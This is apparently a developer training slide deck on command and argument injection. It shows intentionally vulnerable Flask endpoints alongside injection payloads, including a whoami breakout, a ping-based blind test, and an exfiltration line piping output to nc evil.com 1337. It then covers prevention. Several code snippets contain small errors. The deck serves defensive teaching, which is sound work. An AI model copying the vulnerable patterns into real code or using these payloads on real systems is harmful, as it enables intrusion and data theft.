# Dev Training ### Command Injection ## Overview ### About * As bad as they come Notes: * Previous topics were scary. * This one is just awful. ## Example ### Endpoint ```python import os @app.route('/base64decode', methods=['GET','POST']) def b64(): if request.method == 'POST': data = request.POST['data'] return os.popen(f'echo "{data}" | base64 -d').read() ``` Notes: * Does this look familiar? * Endpoint to decode base64 content. * Uses Unix command-line utility * Spot the vulnerability! ### Intended use ```http POST /base64decode HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 42 data=U3luZGlzCg== ``` ```bash echo "U3luZGlzCg==" | base64 -d ``` ```http HTTP/1.1 200 OK ... Syndis ``` Notes: * Perfectly reasonable. * Injected into command line. * Returns standard output. ### What about... ```http POST /search HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 42 ... data=U3luZGlzCg=="; whoami # ``` ```bash echo "U3luZGlzCg=="; whoami #" | base64 -d ``` ```http HTTP/1.1 200 OK ... U3luZGlzCg== root ``` Notes: * But what if we do this? * Encoding omitted for legibility. * Payload: `whoami`. * Some input. * Escape context. * Insert new command. * Comment out rest. * Returns standard output. * Oops, we are root again! ## Blind Command Injection Notes: * But what if we can't see the output? * This is often the case. ### Example ```python import os @app.route('/nslookup', methods=['GET','POST']) def nslookup(): if request.method == 'POST': domain = request.POST['domain'] res = os.system(f'nslookup "{domain}"').read() return {"exists": res} ``` Note: * In this example we check existance of domain. * Returns boolean value. ### Intended use ```http POST /nslookup HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 42 domain=mbl.is ``` ```bash nslookup "mbl.is" ``` ```http HTTP/1.1 200 OK ... {"exists": 1} ``` Note: * This is what normal use looks like. * We are not interested. ### Injection ```http POST /nslookup HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 42 domain=mbl.is"; whoami # ``` ```bash nslookup "mbl.is"; whoami #" ``` ```http HTTP/1.1 200 OK ... {"exists": 1} ``` Note: * So let's look at this. * Same principle. * No information. * What can we do? ### Testing if vulnerable ```http POST /nslookup HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 42 domain=mbl.is"; ping -c 100 8.8.8.8 # ``` ```bash nslookup "mbl.is"; ping -c 100 8.8.8.8 #" ``` ```http HTTP/1.1 200 OK ... {"exists": 1} ``` Note: * Black box > check if vulnerable! * Many valid methods. * Time-based example. * 100 pings cause measurable delay if executed. ### Data exfiltration ```http POST /nslookup HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 53 domain=mbl.is"; whoami > /var/www/static/whoami.txt # ``` ```bash nslookup "mbl.is"; whoami > /var/www/static/exfil.txt #" ``` ```http GET /static/exfil.txt HTTP/1.1 ... root ``` Notes: * Let's exfiltrate! * Using LFI. * Then we fetch our file. * Oh no, a web server as root! ### Data exfiltration ```http POST /nslookup HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 42 domain=mbl.is"; whoami | nc evil.com 1337 # ``` ```bash nslookup "mbl.is"; whoami | nc evil.com 1337 #" ``` Notes: * We have a webserver. * evil.com * We can just ping that. * 'phone home' approach ## Argument injection ### Example ```python import subprocess @app.route('/sub') def substitute(): text = request.args.get('text') search = request.args.get('search') repl = request.args.get('repl') args = request.args.get('args').args.split() res = subprocess.run( ['sed', '-e', f's/{search}/{repl}/', **args], input=text, capture_output=True) return res.stdout ``` Notes: * We have a substitution function. * Find & replace functionality. * Replace search with repl in text. * Executed via Python subprocess. * Can you see where this is going? ### Expected ```http GET /sub?text=blockchain&search=.*&repl=linked+list HTTP/1.1 Host: www.example.com ``` ```bash # input 'blockchain' sed -e 's/.*/linked list/' ``` ```http HTTP/1.1 200 OK Content-Length: 11 linked list ``` Notes: * Replace everything with 'linked list'. * Input 'blockchain'. * Output 'linked list'. * Perfectly reasonable. ### Exploit ```http GET /sub?text=x&search=x&repl=y&args=-e+s/./whoami/e HTTP/1.1 Host: www.example.com ``` ```bash # input 'x' sed -e 's/x/y/' -e 's/./whoami/e' ``` ```http HTTP/1.1 200 OK Content-Length: 4 root ``` Notes: * Did you notice the 'args' parameter? * Let's add another expression. * 's/./whoami/e' * Replace any character with 'whoami' and evaluate. * Aaaand we are root once again. ## Calling subprocesses ### Security-aware libraries * Some libraries and languages have helpful features to spawn subprocesses that help with sanitizing * Executable and arguments specified separately Notes: * Some languages/frameworks help. * Separate executables and arguments. * Similar to parameterized queries. * Pass separate parameters to OS. ### Python * Use `subprocess` with `shell=False` * Does not spawn system shell * Shell "special characters" have no effect ```python domain = request.POST['domain'] subprocess.run(['/usr/bin/nslookup', domain], shell=False) ``` Notes: * Python can do this with subprocess. * `shell=False` is important. * Prevents escaping via special shell characters. ### C\# ``` public IActionResult(string domain) { Process proc = new Process(); proc.StartInfo.FileName = "/usr/bin/nslookup"; proc.StartInfo.Arguments = domain; proc.Start(); } ``` Notes: * C# does this via the Process library. * Does the same thing. ## Prevention ### Avoidance * If possible, avoid injecting user input into system commands * Favor native libraries and frameworks Notes: * Best to just not. * Can't always be avoided. * Use native tools and libraries as recommended. * Consult the documentation! ### Aggressive input filtering * Limit users' control of input as much as possible * Use safest way your language/framework has of spawning processes * Validate against whitelist * Only alphanumeric characters and no spaces * Only numbers Notes: * Follow documented guidelines for your language/framework. * Do input filtering. * But don't JUST do input filtering! * Use whitelist approach! ### Libraries * Use security-aware libraries * Sanitize parameters * Don't allow user to set arbitrary program arguments Notes: * Use libraries with good security features. * Use sanitization features. * Also know how they work. * Do not trust user input. ## Impact ### Command injection * Worst case scenario * Remote code execution * Data exfiltration * Account takeover * Loss of integrity * Loss of data Notes: * Normally a worst-case scenario. * RCE is the holy grail. * Anything from data exposure to full network takeover. * Depends on other config. ### Argument injection * Very dependent on the executable being run * Can be anything from harmless to catastrophic Notes: * Heavily context-dependent. * Same potential impact. * Assume the worst. * Prevent, remediate. ## Rules of thumb ### General When user input is involved * Favor built-in, native libraries over spawning subprocesses * If spawning a subprocess is unavoidable * Aggressively sanitize input (white list if possible) * Use security-aware libraries * Don't allow users to add arbitrary program arguments Notes: * Try not to spawn processes at all. * If you have literally no choice. * Aggressively filter and sanitize input. * Whitelist! * Favor libraries with secure built-in tools. * Don't trust users! ## Epilogue ### Further reading * [OWASP - Command Injection](https://owasp.org/www-community/attacks/Command_Injection) * [PortSwigger Academy - OS Command Injection](https://portswigger.net/web-security/os-command-injection) * [Wildcard injection](https://www.exploit-db.com/papers/33930) ### Hall of fame * [Shellshock](https://en.wikipedia.org/wiki/Shellshock_(software_bug)) * [Log4Shell](https://infosecwriteups.com/log4j-vulnerability-explanation-in-details-73f7556c5ff1) (log4j vulnerability) * [Docker build argument inection](https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/) * [Git argument injection](https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6)